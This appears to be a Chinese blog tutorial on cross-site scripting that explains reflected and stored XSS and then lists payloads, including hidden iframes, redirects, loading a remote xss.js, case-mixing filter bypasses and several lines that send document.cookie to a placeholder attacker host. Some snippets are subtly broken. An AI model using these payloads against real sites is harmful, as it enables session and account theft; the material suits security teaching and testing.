• XSS攻击介绍



    一、概念

    XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,也是web中最主流的攻击方式
    是指恶意攻击者利用网站没有多用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中而盗取用户资料

    二、XSS攻击的危害

    1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
    2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
    3、盗窃企业重要的具有商业价值的资料
    4、非法转账
    5、强制发送电子邮件
    6、网站挂马
    7、控制受害者机器向其它网站发起攻击

    三、常见的攻击类型

    反射性
    将恶意代码嵌入到链接中,诱惑用户点击,从而执行嵌入的代码,达到获取用户相关信息的目的
    原理


    例:
    某些网站的检索:http://IP/detail.php?resarch=css
    嵌入代码为:<script>alert(‘你被攻击了!!’)</script>
    非正常检索:http://IP/detail.php?resarch=<script>alert(‘你被攻击了!!’)</script>
    将此URL发送给用户,以其他诱惑性的文字引导点击,从而执行攻击代码

    储存型
    应用最为广泛,而且直接影响服务器的安全。
    是将恶意代码通过页面存储服务器,当用户浏览该页面时攻击代码将自动执行,从而盗取用户的某些信息
    危害性非常大
    原理


    在留言板中填写攻击代码:<script>alert(‘你被攻击了!!’)</script>
    保存时会保存在服务器中,当用户浏览该页面时,代码会被自动执行

    四、构造XSS脚本
    常用的html标签
    <iframe>   行内框架,创建包含另外一个稳定的内联框架
    <textarea>  定义多行文本输入
    <img>      网页嵌入图像
    <script>   定义客户端脚本

    常用JavaScript方法
    alert        用于显示带有一条指定消息和一个确认按钮的警告框
    window.location    获得当前页面的URL并把浏览器重定向新的页面
    location.href    返回当前显示的文档的完整URL
    onload        一张页面或图像完成加载
    onsubmit      确认按钮被点击执行
    onerror      在加载文档或图像时发生错误

    构造XSS脚本
    弹框警告
    当服务器对特殊字符串<>/'没有做过滤处理时,这个位置存在XSS漏洞
    <script>alert(document.cookie)</script> 获得用户cookie
     
    如果服务器对<>/'进行了过滤处理,还可以使用实体字符进行尝试
    > &gt;
    < &lt;
    " &quot;
    & &amp;
    ' &apos; 

     
     
     
     
     
     
     
     
     
     
    页面嵌套
    <iframe src="http://www.baidu.com" width="0" height="0"></iframe>    将嵌套的页面设置最小,用户不容易发现

    页面重定向
    <script>window.location="http://www.baidu.com"</script>
    <script>location.href="http://www.baidu.com"</script>

    弹窗警告并且重定向
    <script>alert("请访问最新域名");location.href="http://IP/xxx/xxx.text"</script>
    当访问该链接时执行恶意代码

    访问恶意代码
    <script>src="http://IP/xss.js"</script>
    通常hacker会自己搭建一个服务器,访问时执行xss.js

    使用图片标签
    <img src="http://IP/xss.js"></img>

    绕开过滤的脚本
    <ScRiPt>alter('xss')</SCripT>    绕开大小写的限制
    <a href="d3d3LmJhaWR1LmNvbQ==">最新域名</a>    使用字符编码绕开部分限制

    获取用户cookie
    <script>window.open("http://IP/xxx.php?cookie="+document.cookie)</script>
    <script>document.location="http://IP/xxx.php?cookie="+document.cookie</script>
    <script>new Image().src="http://IP/xxx.php?cookie="+document.cookie</script>
    <img src="'http://IP/xxx.php?cookie='+document.cookie"></img>
    <iframe src="'http://IP/xxx.php?cookie='+document.cookie"></iframe>
     
     
  • 相关阅读:
    drf 02 APIView的请求生命周期及各个模块源码分析和配置
    drf 03 序列化模块
    Django-restframework框架01
    javascript深入理解闭包(转)
    从经典问题来看 Copy 方法(转)
    JavaScript要点(七) 函数调用
    关于iOS中SQLITE句柄的使用的细节
    Xcode8 创建NSManageObject subclass方法
    JavaScript要点 (六) 函数参数
    JavaScript要点 (五) 函数定义
  • 原文地址:https://www.cnblogs.com/tynam/p/10122150.html
Copyright © 2020-2023  润新知